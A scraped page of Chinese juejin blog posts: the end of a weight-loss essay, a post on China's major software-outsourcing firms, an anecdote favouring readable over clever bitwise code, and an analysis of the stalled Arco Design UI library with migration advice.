但无论你什么年龄、什么身体情况,我翻了很多资料,我挑了几种适合各种身体情况的减重方式:


640.webp


第一个是好好吃。饮食上不能依赖加工食品,比如薯片、面包、饼干,果汁由于含糖量很高,也要少喝。


吃好的同时还要学会感受自己的吃饱感,我们肯定都有过因为眼前的食物太过美味,哪怕肚子已经饱了,我们还是强行让自己多吃两口。


最好的状态就是吃到不饿时停止吃饭,你需要有意识的觉察到自己饱腹感的状态。我亲身实践下来吃饭的时候别刷手机、看视频,对于身体的敏感度就会高很多,更容易感觉到饱腹感。


第二个是多睡。有研究表明缺乏睡眠会导致食欲激素升高,实验中每天睡4.5小时和每天睡8.5小时两组人群,缺觉的人每天会多摄入300千卡的能量。


我很早之前就听过一个词叫“过劳肥”。之前在互联网工作时就见过不少人,你眼看着他入职的时候还很瘦,半年或者一年后就发福了,主要就是经常熬夜或者睡眠不足还会导致内分泌紊乱和代谢异常。


最近一段时间娃晚上熬到11点睡,早上不到七点就起床,直接导致我睡眠不足。最直观的感受就是自己对于情绪控制能力下降了,更容易感受到压力感,因此会希望通过多吃、吃甜食才缓解自己的状态。


第三个就是锻炼。这里就是最简单的能量守恒原则了,只要你运动就会消耗热量,那你说我工作很忙,没时间跑步、跳绳、游泳,还有一个最简单的办法。


那就是坚持每天走一万步,研究表明每天走一万步,就能把肥胖症的风险降低31%,而且这是维护代谢健康最简单的办法了,而且走一万步的好处还有特别多,就不一一说了。


如果一开始一万步太多,那就从每天5000步开始,逐渐增加,每一步都算数。


这三种方法看起来见效慢,却正是打破节食陷阱的长期解法。这也就引出了接下来我想说的,如果节食减肥会反弹人,也有一定的副作用,为什么很多人依然把节食当成减肥的首选呢?


系统性的问题在哪


首先追求确定性和掌控感。节食是一种快速见效的方式,今天饿了一天肚子,明天早上上秤就发现轻了两斤,这种快速反馈和高确定性,会让你更有掌控感。


我在节食+跑步的那段时间,真的是做到了每周都能掉秤,这种反馈就给了我很强的信心。其实工作之后,生活中这样高确定的性的事情已经越来越少了。


节食带来的确定性反馈,就像生活中为数不多还能掌控的事情,让人心甘情愿的付出代价。但我们却很少意识到,看似“自律”的背后,其实正一点点破坏着我们的身体基础。


其次是大部分时候,我们不需要了解身边事物的科学知识。


绝大部分人对营养、代谢的理解非常有限。毕竟我们并不需要详细控制体重的科学方式,体重也能保持的不错。偶尔大吃大喝一段时间,发现自己胖了,稍微控制一下体重也就降回来了。


但一旦你下定决心减肥,简单的理解就远远不够了,你就容易做出错误的判断,比如节食。短期更容易见效,确定性更高,但长远来看只能算下策。


你得有那种看到体检结果突然异常,就赶紧上网查询权威的医学解释一般的态度才行,根据自己的情况用科学的方式控制体重。


而不是只想到节食。


这是东东拿铁的第89篇原创文章,感谢阅读,全文完,喜欢请三连。


作者:东东拿铁
来源:juejin.cn/post/7542086955077648434
收起阅读 »

中国四大软件外包公司

在程序员的职业字典里,每次提到“外包”这两个字,似乎往往带着一种复杂的况味,不知道大家对于这个问题是怎么看的? 包括我们在逛职场社区时,也会经常刷到一些有关外包公司讨论或选择的求职帖子。 的确,在如今的 IT 职场大环境里,对于许多刚入行的年轻人,或者很多寻求...
继续阅读 »

在程序员的职业字典里,每次提到“外包”这两个字,似乎往往带着一种复杂的况味,不知道大家对于这个问题是怎么看的?


包括我们在逛职场社区时,也会经常刷到一些有关外包公司讨论或选择的求职帖子。


的确,在如今的 IT 职场大环境里,对于许多刚入行的年轻人,或者很多寻求机会的开发者来说,外包公司或许也是求职过程中的一个绕不开的备选项。


今天这篇文章,我们先来聊一聊 IT 江湖里经常被大家所提起的“四大软件外包公司”,每次打开招聘软件,相信不少同学都刷到过他们的招聘信息。


他们在业内也一度曾被大家戏称为“外包四大金刚”,可能不少同学也能猜到个大概。


1、中软国际


中软可以说是国内软件外包行业的“老大哥”之一,拥有约 8 万名员工,年收入规模高达 170 亿。


而且中软的业务版图确实很大,在国内外 70 个城市重点布局,在北京、西安、深圳、南京等地均拥有自有产权的研发基地。


提起中软,很多同学的第一反应是它和华为的“深度绑定”。


的确,华为算是中软比较大的合作伙伴之一,同样,这种紧密的合作关系,让中软在通信、政企数字化等领域获得了不少份额。


在中软的体系里,经常能看到一种非常典型的“正规化”打法。它的流程比较规范,制度也非常完善。这对于刚毕业的大学生或者想要转行进入 IT 的人来说,算是一个不错的“练兵场”。


不过近年来,中软也在拼命转型,试图摆脱单纯的外包标签,在 AIGC 和鸿蒙生态上投入了不少精力。


2、软通动力


如果说上面的中软是“稳扎稳打”的代表,那么软通给人的感觉就是“迅猛扩张”。


软通虽然成立时间比中软晚了几年,但发展势头却非常迅猛。


根据第三方机构的数据显示,软通动力在 IT 服务市场的份额已经名列前茅,甚至在某些年份拔得头筹。


软通这家公司一直给人的印象是“大而全”。它的总部在北京,员工规模甚至达到了 90000 人。


而软通动力的上市,一度给行业打了一剂强心针。它的业务线覆盖了从咨询到 IT 服务的全生命周期,包含了金融、能源、智能制造、ICT 软硬件、智能化产品等诸多方面。


3、东软集团


如果说前两家是后来居上的代表,那么东软就是老牌子软件公司的代表。


成立于 1991 年的东软,是中国上市较早的软件公司之一,早在 1996 年就上市了。


东软最初创立于东北大学,后来通过国际合作进入汽车电子领域,并逐渐踏上产业化发展之路,其创始人刘积仁博士也算是软件行业的先驱大佬了。


东软的业务重心很早就放在了医疗健康、智慧城市和汽车电子等这几个领域。


说不定现在很多城市的医院里,跑着的 HIS 系统有可能就是东软做的。


虽然近年来东软也面临着转型阵痛,但它在医疗和智慧城市等领域的积淀,依然是其他外包公司难以撼动的。


4、文思海辉(中电金信)


这家公司的发展历程比较特殊,它经历过文思创新和海辉软件的合并,后来又加入了中国电子(CEC)的阵营,成为中国电子旗下的一员,并且后来又进一步整合为了中电金信。


所以它现在更多地以“中电金信”的身份出现。


文思海辉的强项在于金融和数智化领域,尤其银行业 IT 项目这一块做了非常多,市场份额也很大。


那除了上面这几个“外包巨头”之外,其实很多领域还有很多小型外包公司,有的是人力资源外包,有的则是项目外包。


每次提到「外包」这个词,可能不少同学都会嗤之以鼻,那这里我也来聊聊我自己对于外包的一些个人看法和感受


说实话,我没有进过外包公司干过活,但是呢,我和不少外包公司的工作人员共事过,一起参与过项目。


记得老早之前我在通信公司工作时,我们团队作为所谓的“甲方”,就和外包员工共事过有大半年的样子,一起负责公司的核心网子项目。


有一说一,我们团队整体对外包同事都是非常友好的。


我看网上有那种什么外包抢了红包要退钱、什么提醒外包注意素质不要偷吃的零食的事情,有点太离谱、太夸张了,这在我们团队那会是从来没有发生过的。


大家平时在一起上班的氛围也挺融洽,大家一起该聊天聊天,该开玩笑开玩笑,该一起吃饭一起吃饭,在相处方面并没有什么区别。


但是,不同地方的确也有。


比方说,他们上班时所带的工牌带子颜色就和我们不太一样,这一眼就能看出来,另外平时做的事情也有点不太一样。


我记得当时项目的一些抓包任务、测试任务、包括一些标注任务等等都是丢给外包同事那边来完成,我们需要的是结果、是报告。


另外对于项目文档库和代码库的权限也的确有所不同,核心项目代码和文档确实是不对外包同事那边开放的。


除此之外,我倒并没有觉得有什么太多的不同。


那作为程序员,我们到底该如何看待这些外包公司呢


这就好比是一个围城,城外的人有的想进去,城里的人有的想出来。


每次一提到外包,很多人的建议都是不要进,打亖别去。但是,这里有个前提是,首先得在你有的选的情况下,再谈要不要选的问题


不可否认的是,外包公司确实有它的短板。最被人诟病的两点,一个“职业天花板”问题、一个“归属感缺失”问题。


但是在当下的就业环境里,我们不得不承认的是,外包公司也承担了 IT 行业“蓄水池”的角色。


毕竟并不是每个人一毕业就能拿到互联网大厂的 offer,也并不是每个人都有勇气去创业公司搏一把。


对于有些学历一般、技术基础一般或者刚转行的程序员来说,外包也提供了另外一个选择。


而如果你现在正在外包或者正在考虑加入外包,那这里我也想说几句肺腑之言


第一,不要把外包作为职业生涯的终点,而应该把它看作一个跳板或过渡。


如果你刚毕业进不去大厂,或者在一二线城市没有更好的选择,那外包可以为你提供一个接触正规项目流程的机会(当然前提是要进那种正规的外包),我们也可以把它看昨一个特殊的职场驿站。


在那里的每一天,你都要问问自己:我学到了什么?我的技术有没有长进?我的视野有没有开阔?


第二,一定要警惕“舒适区”。


很多同学在外包待久了,可能会陷入一种拿工资办事的机械式工作中,看起来很舒适,实际上很危险。


注意,一定要利用能接触到的资源,去学习项目的技术架构和业务流程,去想办法提升自己的核心竞争力,而不是仅仅为了完成工时。


最后我想说的是,无论你是在大厂做正式员工,还是在小团队里打拼,亦或是在外包公司里默默耕耘,最终决定职业高度的,并不是工牌上公司的名字,而是会多少技术,懂多少业务,能解决多少问题,大家觉得呢?


好了,今天就先聊这么多吧,希望能对大家有所启发,我们下篇见。



注:本文在GitHub开源仓库「编程之路」 github.com/rd2coding/R… 中已经收录,里面有我整理的6大编程方向(岗位)的自学路线+知识点大梳理、面试考点、我的简历、几本硬核pdf笔记,以及程序员生活和感悟,欢迎star。



作者:CodeSheep
来源:juejin.cn/post/7585839411122454574
收起阅读 »

那个把代码写得亲妈都不认的同事,最后被劝退了🤷‍♂️

web
大家好😁。 上上周,我们在例会上送别了团队里的一位技术大牛,阿K。 说实话,阿K 的技术底子很强。他能手写 Webpack 插件,熟读 ECMA 规范,对 Chrome 的渲染管线了如指掌。 但最终,CTO 还是决定劝退他了。 理由很残酷,只有一句话: 你的...
继续阅读 »

大家好😁。


上上周,我们在例会上送别了团队里的一位技术大牛,阿K。


说实话,阿K 的技术底子很强。他能手写 Webpack 插件,熟读 ECMA 规范,对 Chrome 的渲染管线了如指掌。


但最终,CTO 还是决定劝退他了。


Suggestion.gif


理由很残酷,只有一句话: 你的代码,团队里没人敢接手。🤷‍♂️


为了所谓的极致性能,牺牲代码的可读性,到底值不值?




事件的开始


我们有一个很普通的后台管理系统重构。


阿K 负责最核心的权限校验模块。这本是一个很简单的逻辑:后端返回一个权限列表,前端判断一下用户有没有某个按钮的权限。


普通人(比如我)大概会这么写:


// 一眼就能看懂
const hasPermission = (userPermissions, requiredPermission) => {
return userPermissions.includes(requiredPermission);
};

if (hasPermission(currentUser.permissions, 'DELETE_USER')) {
showDeleteButton();
}

但是,阿K 看到这段代码时,露出了鄙夷的神情😒。


includes 这种遍历操作太慢了!我们要处理的是十万级的用户并发(并没有),必须优化!


于是,他闭关三天,重写了整个模块。


Code Review 的时候,我们所有人都傻了。屏幕上出现了一堆我们看不懂的天书😖:


// 全程位运算,没有任何注释
const P = { r: 1, w: 2, e: 4, d: 8 };
const _c = (u, p) => (u & p) === p;

// 这里甚至用了一个位移掩码生成的哈希表
const _m = (l) => l.reduce((a, c) => a | (P[c] || 0), 0);

// 像不像一段乱码?
const chk = (u, r) => _c(_m(u.r), P[r]);

我问他:阿K,这 _c_m 是啥意思?能加个注释吗?


阿K 振振有词: 好的代码不需要注释!位运算是计算机执行最快的操作,比字符串比对快几百倍!这不仅仅是代码,这是对 CPU 的尊重,是艺术!


我: 。 。 。 。🤣


在那个没有性能瓶颈的后台管理系统里,他为了那肉眼不可见的 0.0001 毫秒提升,制造了一个维护麻烦。




屎山💩崩溃的那一天


灾难发生在两个月后。


业务方突然提了一个需求: 权限逻辑要改,现在支持‘反向排除’权限,而且权限字段要从数字改成字符串组。


那天,阿K 正好去年假了,手机关机😒。


任务落到了刚入职的实习生小李头上。


小李打开 permission.js,看着满屏的 >>&| 和单字母变量,整个人僵在了工位上。


他试图去理解那个位移掩码的逻辑,但他发现,只要改动一个字符,整个系统的权限就全乱套了——管理员突然看不了页面,实习生突然能删库了🤔。


这代码有毒吧…… 小李在第 10 次尝试修复失败后,差点哭出来😭。


因为这个模块的逻辑过于晦涩,且和其他模块高度耦合(阿K 为了复用,把这些位运算逻辑注入到了全局原型链里),我们根本不敢动。


结果是:那个简单的需求,被硬生生拖了一周。 业务方投诉到了 CTO 那里。


CTO 看了眼代码,沉默了三分钟,然后问了一句:


写这玩意儿的人,是觉得以后都不用维护了吗?😥




过早优化是万恶之源 !


阿K 回来后,很不服气。他觉得是我们技术太菜,看不懂他的高级操作。


他拿出了 Chrome Profiler 的截图,指着那微乎其微的差距说:看!我的写法比你们快了 40%!


但他忽略了软件工程中最重要的一条公式:



代码价值 = (实现功能 + 可维护性) / 复杂度



过早优化是万恶之源 ! ! !


在 99% 的业务场景下,V8 引擎已经足够快了。



  • 你把 forEach 改成 while 倒序循环,性能确实提升了,但代码变得难读了。

  • 你把清晰的 switch-case 改成了晦涩的 lookup table 还没有类型提示,Bug 率上升了。

  • 你为了省几个字节的内存,用各种黑魔法操作对象,导致后来的人根本不敢碰😖。


这种所谓的性能优化,其实是程序员的自嗨。


它是用团队的维护成本,去换取机器那一瞬间的快感。它不是优化,它是给项目埋雷。




什么样的代码才是好代码?


后来,我们将阿K 的那坨代码 通过 chatGPT 全部推倒重写。


1️⃣ 权限定义(语义清晰)


// permissions.ts
export enum Permission {
READ = 'read',
WRITE = 'write',
EDIT = 'edit',
DELETE = 'delete',
}

2️⃣ 用户模型


// user.ts
import { Permission } from './permissions';

export interface User {
id: string;
permissions: Permission[];
}


3️⃣ 权限校验函数(核心)


// auth.ts
import { Permission } from './permissions';
import { User } from './user';

export function hasPermission(
user: User,
required: Permission
): boolean {
return user.permissions.includes(required);
}


4️⃣ 批量权限校验


export function hasAllPermissions(
user: User,
required: Permission[]
): boolean {
return required.every(p => user.permissions.includes(p));
}

export function hasAnyPermission(
user: User,
required: Permission[]
): boolean {
return required.some(p => user.permissions.includes(p));
}


5️⃣ 判断方法


if (!hasPermission(user, Permission.DELETE)) {
throw new Error('No permission to delete');
}

用回了用户权限结构清晰可见的,权限判断,一眼就懂。甚至都不需要注释🤷‍♂️


虽然跑分慢了那么一丁点(用户根本无感知),但任何一个新来的同事,只要 5 分钟就能看懂并上手修改。


这件事给我留下了深刻的教训:



  1. 代码是写给人看的,顺便给机器运行。


    如果一段代码只有你现在能看懂,那它就是垃圾代码;如果一段代码连你一个月后都看不懂,那它就是有害代码。


  2. 不要在非瓶颈处炫技。


    如果页面卡顿是因为 DOM 节点太多,你去优化 JS 的变量赋值速度,那就是隔靴搔痒。找到真正的瓶颈(Network, Layout, Paint),再对症下药。


  3. 可读性 > 巧技。


    简单的逻辑,是对同事最大的善意。





阿K 走的时候,还是觉得自己怀才不遇,觉得这家公司配不上他的技术🤣。


我祝他未来前程似锦。


但我更希望看到这篇文章的你,下次在想要按下键盘写一段绝妙的、只有你看懂的单行代码时,能停下来想一想:


如果明天我离职了,接手的人会不会骂娘?


你是脑残么.gif


毕竟,我们不想让亲妈都不认识代码,我们更不想让同事在那骂娘。


谢谢大家👏


作者:ErpanOmer
来源:juejin.cn/post/7585897699603693594
收起阅读 »

Arco Design 停摆!字节跳动 UI 库凉了?

web
1. 引言:设计系统的“寒武纪大爆发”与 Arco 的陨落 在 2019 年至 2021 年间,中国前端开发领域经历了一场前所未有的“设计系统”爆发期。伴随着企业级 SaaS 市场的崛起和中后台业务的复杂度攀升,各大互联网巨头纷纷推出了自研的 UI 组件库。这...
继续阅读 »

1. 引言:设计系统的“寒武纪大爆发”与 Arco 的陨落


在 2019 年至 2021 年间,中国前端开发领域经历了一场前所未有的“设计系统”爆发期。伴随着企业级 SaaS 市场的崛起和中后台业务的复杂度攀升,各大互联网巨头纷纷推出了自研的 UI 组件库。这不仅是技术实力的展示,更是企业工程化标准的话语权争夺。在这一背景下,字节跳动推出了 Arco Design,这是一套旨在挑战 Ant Design 霸主地位的“双栈”(React & Vue)企业级设计系统。


Arco Design 在发布之初,凭借其现代化的视觉语言、对 TypeScript 的原生支持以及极具创新性的“Design Lab”设计令牌(Design Token)管理系统,迅速吸引了大量开发者的关注。它被定位为不仅仅是一个组件库,而是一套涵盖设计、开发、工具链的完整解决方案。然而,就在其社区声量达到顶峰后的短短两两年内,这一曾被视为“下一代标准”的项目却陷入了令人费解的沉寂。


截至 2025 年末,GitHub 上的 Issues 堆积如山,关键的基础设施服务(如 IconBox 图标平台)频繁宕机,官方团队的维护活动几乎归零。对于数以万计采用了 Arco Design 的企业和独立开发者而言,这无疑是一场技术选型的灾难。


本文将深入剖析 Arco Design 从辉煌到停摆的全过程。我们将剥开代码的表层,深入字节跳动的组织架构变革、内部团队的博弈(赛马机制)、以及中国互联网大厂特有的“KPI 开源”文化,为您还原整件事情的全貌。


2. 溯源:Arco Design 的诞生背景与技术野心


要理解 Arco Design 为何走向衰败,首先必须理解它诞生时的宏大野心及其背后的组织推手。Arco 并不仅仅是一个简单的 UI 库,它是字节跳动在高速扩张期,为了解决内部极其复杂的国际化与商业化业务需求而孵化的产物。


1.png


2.1 “务实的浪漫主义”:差异化的产品定位


Arco Design 在推出时,鲜明地提出了“务实的浪漫主义”这一设计哲学。这一口号的提出,实际上是为了在市场上与阿里巴巴的 Ant Design 进行差异化竞争。



  • Ant Design 的困境:作为行业标准,Ant Design 以“确定性”著称,其风格克制、理性,甚至略显单调。虽然极其适合金融和后台管理系统,但在需要更强品牌表达力和 C 端体验感的场景下显得力不从心。

  • Arco 的切入点:字节跳动的产品基因(如抖音、TikTok)强调视觉冲击力和用户体验的流畅性。Arco 试图在中后台系统中注入这种基因,主张在解决业务问题(务实)的同时,允许设计师发挥更多的想象力(浪漫)。


这种定位在技术层面体现为对 主题定制(Theming) 的极致追求。Arco Design 并没有像传统库那样仅仅提供几个 Less 变量,而是构建了一个庞大的“Design Lab”平台,允许用户在网页端通过可视化界面细粒度地调整成千上万个 Design Token,并一键生成代码。这种“设计即代码”的早期尝试,是 Arco 最核心的竞争力之一。


2.2 组织架构:GIP UED 与架构前端的联姻


Arco Design 的官方介绍中明确指出,该系统是由 字节跳动 GIP UED 团队架构前端团队(Infrastructure FrontEnd Team) 联合推出的。这一血统注定了它的命运与“GIP”这个业务单元的兴衰紧密绑定。


2.2.1 GIP 的含义与地位


“GIP” 通常指代 Global Internet Products(全球互联网产品)或与之相关的国际化/商业化业务部门。在字节跳动 2019-2021 年的扩张期,这是一个充满活力的部门,负责探索除了核心 App(抖音/TikTok)之外的各种创新业务,包括海外新闻应用(BuzzVideo)、办公套件、以及各种尝试性的出海产品。



  • UED 的话语权:在这一时期,GIP 部门拥有庞大的设计师团队(UED)。为了统一各条分散业务线的设计语言,UED 团队急需一套属于自己的设计系统,而不是直接沿用外部的 Ant Design。

  • 技术基建的配合:架构前端团队的加入,为 Arco Design 提供了工程化落地的保障。这种“设计+技术”的双驱动模式,使得 Arco 在初期展现出了极高的完成度,不仅有 React 版本,还同步推出了 Vue 版本,甚至包括移动端组件库。


2.3 黄金时代的技术堆栈


在 2021 年左右,Arco Design 的技术选型是极具前瞻性的,这也是它能迅速获得 5.5k Star 的原因之一:



  • 全链路 TypeScript:所有组件均采用 TypeScript 编写,提供了优秀的类型推导体验,解决了当时 Ant Design v4 在某些复杂场景下类型定义不友好的痛点。

  • 双框架并进:@arco-design/web-react 和 @arco-design/web-vue 保持了高度统一的 API 设计和视觉风格。这对于那些技术栈不统一的大型公司极具吸引力,意味着设计规范可以跨框架复用。

  • 生态闭环:除了组件库,Arco 还发布了 arco-cli(脚手架)、Arco Pro(中后台模板)、IconBox(图标管理平台)以及 Material Market(物料市场)。这表明团队不仅是在做一个库,而是在构建一个类似 Salesforce Lightning 或 SAP Fiori 的企业级生态。


然而,正是这种庞大的生态铺设,为日后的维护埋下了巨大的隐患。当背后的组织架构发生震荡时,维持如此庞大的产品矩阵所需的资源将变得不可持续。


3. 停摆的证据:基于数据与现象的法医式分析


尽管字节跳动从未发布过一份正式的“Arco Design 停止维护声明”,但通过对代码仓库、社区反馈以及基础设施状态的深入分析,我们可以断定该项目已进入实质性的“脑死亡”状态。


3.1 代码仓库的“心跳停止”


对 GitHub 仓库 arco-design/arco-design (React) 和 arco-design/arco-design-vue (Vue) 的提交记录分析显示,活跃度在 2023 年底至 2024 年初出现了断崖式下跌。


3.png


3.1.1 提交频率分析


虽然 React 版本的最新 Release 版本号为 2.66.8(截至文章撰写时),但这更多是惯性维护。



  • 核心贡献者的离场:早期的高频贡献者(如 sHow8e、jadelike-wine 等)在 2024 年后的活跃度显著降低。许多提交变成了依赖项升级(Dependabot)或极其微小的文档修复,缺乏实质性的功能迭代。

  • Vue 版本的停滞:Vue 版本的状态更为糟糕。最近的提交多集中在构建工具迁移(如迁移到 pnpm)或很久以前的 Bug 修复。核心组件的 Feature Request 长期无人响应。


3.1.2 积重难返的 Issue 列表


Issue 面板是衡量开源项目生命力的体温计。目前,Arco Design 仓库中积累了超过 330 个 Open Issue。



  • 严重的 Bug 无人修复:例如 Issue #3091 “tree-select 组件在虚拟列表状态下搜索无法选中最后一个” 和 Issue #3089 “table 组件的 default-expand-all-rows 属性设置不生效”。这些都是影响生产环境使用的核心组件 Bug,却长期处于 Open 状态。

  • 社区的绝望呐喊:Issue #3090 直接以 “又一个没人维护的 UI 库” 为题,表达了社区用户的愤怒与失望。更有用户在 Discussion 中直言 “这个是不是 KPI 项目啊,现在维护更新好像都越来越少了”。这种负面情绪的蔓延,通常是一个项目走向终结的社会学信号。


3.2 基础设施的崩塌:IconBox 事件


如果说代码更新变慢还可以解释为“功能稳定”,那么基础设施的故障则是项目被放弃的直接证据。



  • IconBox 无法发布:Issue #3092 指出 “IconBox 无法发布包了”。IconBox 是 Arco 生态中用于管理和分发自定义图标的 SaaS 服务。这类服务需要后端服务器、数据库以及运维支持。

  • 含义解读:当一个大厂开源项目的配套 SaaS 服务出现故障且无人修复时,这不仅仅是开发人员没时间的问题,而是意味着服务器的预算可能已经被切断,或者负责运维该服务的团队(GIP 相关的基建团队)已经被解散。这是项目“断供”的最强物理证据。


3.3 文档站点的维护降级


Arco Design 的文档站点虽然目前仍可访问,但其内容更新已经明显滞后。例如,关于 React 18/19 的并发特性支持、最新的 SSR 实践指南等现代前端话题,在文档中鲜有提及。与竞争对手 Ant Design 紧跟 React 官方版本发布的节奏相比,Arco 的文档显得停留在 2022 年的时光胶囊中。


4. 深层归因:组织架构变革下的牺牲品


Arco Design 的陨落,本质上不是技术失败,而是组织架构变革的牺牲品。要理解这一点,我们需要将视线从 GitHub 移向字节跳动的办公大楼,审视这家巨头在过去三年中发生的剧烈动荡。


2.png


4.1 “去肥增瘦”战略与 GIP 的解体


2022 年至 2024 年,字节跳动 CEO 梁汝波多次强调“去肥增瘦”战略,旨在削减低效业务,聚焦核心增长点。这一战略直接冲击了 Arco Design 的母体——GIP 部门。


4.1.1 战略投资部的解散与业务收缩


2022 年初,字节跳动解散了战略投资部,并将原有的投资业务线员工分流。这一动作标志着公司从无边界扩张转向防御性收缩。紧接着,教育(大力教育)、游戏(朝夕光年)以及各类边缘化的国际化尝试业务(GIP 的核心腹地)遭遇了毁灭性的裁员。


4.1.2 GIP 团队的消失


在多轮裁员中,GIP 及其相关的商业化技术团队是重灾区。



  • 人员流失:Arco Design 的核心维护者作为 GIP UED 和架构前端的一员,极有可能在这些轮次的“组织优化”中离职,或者被转岗到核心业务(如抖音电商、AI 模型 Doubao)以保住职位。

  • 业务目标转移:留下来的人员也面临着 KPI 的重置。当业务线都在为生存而战,或者全力以赴投入 AI 军备竞赛时,维护一个无法直接带来营收的开源 UI 库,显然不再是绩效考核中的加分项,甚至是负担。


4.2 内部赛马机制:Arco Design vs. Semi Design


字节跳动素以“APP 工厂”和“内部赛马”文化著称。这种文化不仅存在于 C 端产品中,也渗透到了技术基建领域。Arco Design 的停摆,很大程度上是因为它在与内部竞争对手 Semi Design 的博弈中败下阵来。


4.2.1 Semi Design 的崛起


Semi Design 是由 抖音前端团队MED 产品设计团队 联合推出的设计系统。



  • 出身显赫:与 GIP 这个边缘化的“探索型”部门不同,Semi Design 背靠的是字节跳动的“现金牛”——抖音。抖音前端团队拥有极其充裕的资源和稳固的业务地位。

  • 业务渗透率:Semi Design 官方宣称支持了公司内部“近千个平台产品”,服务 10 万+ 用户。它深度嵌入在抖音的内容生产、审核、运营后台中。这些业务是字节跳动的生命线,因此 Semi Design 被视为“核心资产”。


4.2.2 为什么 Arco 输了?


在资源收缩期,公司高层显然不需要维护两套功能高度重叠的企业级 UI 库。选择保留哪一个,不仅看技术优劣,更看业务绑定深度。



  • 技术路线之争:Semi Design 在 D2C(Design-to-Code)领域走得更远,提供了强大的 Figma 插件,能直接将设计稿转为 React 代码。这种极其强调效率的工具链,更符合字节跳动“大力出奇迹”的工程文化。

  • 归属权:Arco 属于 GIP,GIP 被裁撤或缩编;Semi 属于抖音,抖音如日中天。这几乎是一场没有悬念的战役。当 GIP 团队分崩离析,Arco 自然就成了没人认领的“孤儿”。


4.3 中国大厂的“KPI 开源”陷阱


Arco Design 的命运也折射出中国互联网大厂普遍存在的“KPI 开源”现象。



  • 晋升阶梯:在阿里的 P7/P8 或字节的 2-2/3-1 晋升答辩中,主导一个“行业领先”的开源项目是极具说服力的业绩。因此,很多工程师或团队 Leader 会发起此类项目,投入巨大资源进行推广(刷 Star、做精美官网)。

  • 晋升后的遗弃:一旦发起人成功晋升、转岗或离职,该项目的“剩余价值”就被榨干了。接手的新人往往不愿意维护“前人的功劳簿”,更愿意另起炉灶做一个新的项目来证明自己。

  • Arco 的轨迹:Arco 的高调发布(2021年)恰逢互联网泡沫顶峰。随着 2022-2024 年行业进入寒冬,晋升通道收窄,维护开源项目的 ROI(投入产出比)变得极低,导致项目被遗弃。


5. 社区自救的幻象:为何没有强有力的 Fork?


面对官方的停摆,用户自然会问:既然代码是开源的(MIT 协议),为什么没有人 Fork 出来继续维护?调查显示,虽然存在一些零星的 Fork,但并未形成气候。


5.png


5.1 Fork 的现状调查


通过对 GitHub 和 Gitee 的检索,我们发现了一些 Fork 版本,但并未找到具备生产力的社区继任者。



  • vrx-arco:这是一个名为 vrx-arco/arco-design-pro 的仓库,声称是 "aro-design-vue 的部分功能扩展"。然而,这更像是一个补丁集,而不是一个完整的 Fork。它主要解决特定开发者的个人需求,缺乏长期维护的路线图。

  • imoty_studio/arco-design-designer:这是一个基于 Arco 的表单设计器,并非组件库本身的 Fork。

  • 被动 Fork:GitHub 显示 Arco Design 有 713 个 Fork。经抽样检查,绝大多数是开发者为了阅读源码或修复单一 Bug 而进行的“快照式 Fork”,并没有持续的代码提交。


5.2 为什么难以 Fork?


维护一个像 Arco Design 这样的大型组件库,其门槛远超普通开发者的想象。



  1. Monorepo 构建复杂度:Arco 采用了 Lerna + pnpm 的 Monorepo 架构,包含 React 库、Vue 库、CLI 工具、图标库等多个 Package。其构建脚本极其复杂,往往依赖于字节内部的某些环境配置或私有源。外部开发者即使拉下来代码,要跑通完整的 Build、Test、Doc 生成流程都非常困难。

  2. 生态维护成本:Arco 的核心优势在于 Design Lab 和 IconBox 等配套 SaaS 服务。Fork 代码容易,但 Fork 整个后端服务是不可能的。失去了 Design Lab 的 Arco,就像失去了灵魂的空壳,吸引力大减。

  3. 技术栈锁定:Arco 的一些底层实现可能为了适配字节内部的微前端框架或构建工具(如 Modern.js)做了特定优化,这增加了通用化的难度。


因此,社区更倾向于迁移,而不是接盘


6. 用户生存指南:现状评估与迁移策略


对于目前仍在使用 Arco Design 的团队,局势十分严峻。随着 React 19 的临近和 Vue 3 生态的演进,Arco 将面临越来越多的兼容性问题。


6.1 风险评估表


风险维度风险等级具体表现
安全性🔴 高危依赖的第三方包(如 lodash, async-validator 等)若爆出漏洞,Arco 不会发版修复,需用户手动通过 resolutions 强行覆盖。
框架兼容性🔴 高危React 19 可能会废弃某些 Arco 内部使用的旧生命周期或模式;Vue 3.5+ 的新特性无法享受。
浏览器兼容性🟠 中等新版 Chrome/Safari 的样式渲染变更可能导致 UI 错位,无人修复。
基础设施⚫ 已崩溃IconBox 无法上传新图标,Design Lab 可能随时下线,导致主题无法更新。

6.png


6.2 迁移路径推荐


方案 A:迁移至 Semi Design(推荐指数:⭐⭐⭐⭐)


如果你是因为喜欢字节系的设计风格而选择 Arco,那么 Semi Design 是最自然的替代者。



  • 优势:同为字节出品,设计语言的命名规范和逻辑有相似之处。Semi 目前维护活跃,背靠抖音,拥有强大的 D2C 工具链。

  • 劣势:API 并非 100% 兼容,仍需重构大量代码。且 Semi 主要是 React 优先,Vue 生态支持相对较弱(主要靠社区适配)。


7.png


方案 B:迁移至 Ant Design v5/v6(推荐指数:⭐⭐⭐⭐⭐)


如果你追求极致的稳定和长期的维护保障,Ant Design 是不二之选。



  • 优势:行业标准,庞大的社区,Ant Gr0up 背书。v5 版本引入了 CSS-in-JS,在定制能力上已经大幅追赶 Arco 的 Design Lab。

  • 劣势:设计风格偏保守,需要设计师重新调整 UI 规范。


方案 C:本地魔改(推荐指数:⭐)


如果项目庞大无法迁移,唯一的出路是将 @arco-design/web-react 源码下载到本地 packages 目录,作为私有组件库维护。



  • 策略:放弃官方更新,仅修复阻塞性 Bug。这需要团队内有资深的前端架构师能够理解 Arco 的源码。


4.png


7. 结语与启示


Arco Design 的故事是现代软件工程史上的一个典型悲剧。它证明了在企业级开源领域,康威定律(Conway's Law) 依然是铁律——软件的架构和命运取决于开发它的组织架构。


当 GIP 部门意气风发时,Arco 是那颗最耀眼的星,承载着“务实浪漫主义”的理想;当组织收缩、业务调整时,它便成了由于缺乏商业造血能力而被迅速遗弃的资产。对于技术决策者而言,Arco Design 的教训是惨痛的:在进行技术选型时,不能仅看 README 上的 Star 数或官网的精美程度,更要审视项目背后的组织生命力维护动机


8.png


目前来看,Arco Design 并没有复活的迹象,社区也没有出现强有力的接棒者。这套组件库正在数字化浪潮的沙滩上,慢慢风化成一座无人问津的丰碑。


作者:HexCIer
来源:juejin.cn/post/7582879379441745963
收起阅读 »

桌面应用开发,Flutter 与 Electron如何选

web
